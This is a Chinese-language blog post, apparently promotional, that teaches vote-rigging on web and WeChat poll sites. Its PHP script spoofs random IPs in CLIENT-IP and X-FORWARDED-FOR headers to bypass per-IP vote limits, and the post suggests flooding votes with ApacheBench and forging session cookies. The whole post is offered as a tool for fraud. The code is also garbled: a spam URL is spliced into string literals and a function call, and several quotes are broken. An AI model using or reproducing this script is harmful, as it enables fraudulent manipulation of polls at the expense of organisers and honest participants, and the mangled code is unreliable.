网络第三方投票工具搭建的代码应该怎么写?网络投票工具是目前对于微信投票活动、网页投票活动最好的一种刷票渠道,那么极少数人才了解网络投票工具,那么今天我就来给大家说下网络投票工具搭建的代码怎么写吧,写这篇文章的原由其实是这样的,前些天一个朋友突然发了一个网站,让我帮她投投票…我这人一项比较好说话,就帮她投了.顺便分析了这个网站,发现这个网站的投票系统有ip限制,但是投票是一个ajax请求.那么办法就出来了
网络投票工具搭建的代码应该怎么写?
很多投票PC网站都是依靠限制ip,来限制投票人数.那么我用curl伪造IP,那么就可以轻易制造多个IP进行投票.
下面贴上PHP代码:
由于对方是GET AJAX请求,我这里就贴上GET方法,POST方法请自行修改
<?php /** * @author */ $ip_long = array( array(‘607649792’, ‘608174079’), //36.56.0.0-36.63.255.255 array(‘1038614528’, ‘1039007743’), //61.232.0.0-61.237.255.255 array(‘1783627776’, ‘1784676351’), //106.80.0.0-106.95.255.255 array(‘2035023872’, ‘2035154943’), //121.76.0.0-121.77.255.255 array(‘2078801920’, ‘2079064063’), //123.232.0.0-123.235.255.255 array(‘-1950089216’, ‘-1948778497’), //139.196.0.0-139.215.255.255 array(‘-1425539072’, ‘-1425014785’), //171.8.0.0-171.15.255.255 array(‘-1236271104’, ‘-1235419137’), //182.80.0.0-182.92.255.255 array(‘-770113536’, ‘-768606209’), //210.25.0.0-210.47.255.255 array(‘-569376768’, ‘-564133889′), //222.16.0.0-222.95.255.255 ); $rand_key = mt_rand(0, 9); $ip= long2ip(mt_rand($ip_long[$rand_key][0], $ip_long[$rand_key][1]));//随机生成国内某个ip $url=’localhost/ip.php’http://www.aivtp.com/4211.html ;//这里请填写投票的请求地址 $ch = curl_init($url); $header = array( “CLIENT-IP:{$ip}”, “X-FORWARDED-FOR:{$ip}”, ); curl_setopt($ch,CURLOPT_HTTPHEADER,$header); curl_setopt($ch,http://www.aivtp.com/ CURLOPT_RETURNTRANSFER, true) ; // 获取数据返回 curl_exec($ch); curl_close($ch); 前部分是随机生成国内的某个ip,然后用curl模拟请求.由于网站限制是一个ip限制1个小时投30个票,因此,我这里就是随机的.如果网站是限制1个ip投1个,那么最好把ip修改为顺序生成国内ip,这样可以不重复.然后我在开启,apache ab,每次并发20个投票..很快票就刷上去了.我没有什么好的办法防御.但是我这样的curl实际上就是webservice访问,这样的访问是不带session或者cookie的,当然,curl也可以模拟带上cookie,然后在带上phpsessionid从而来带上session.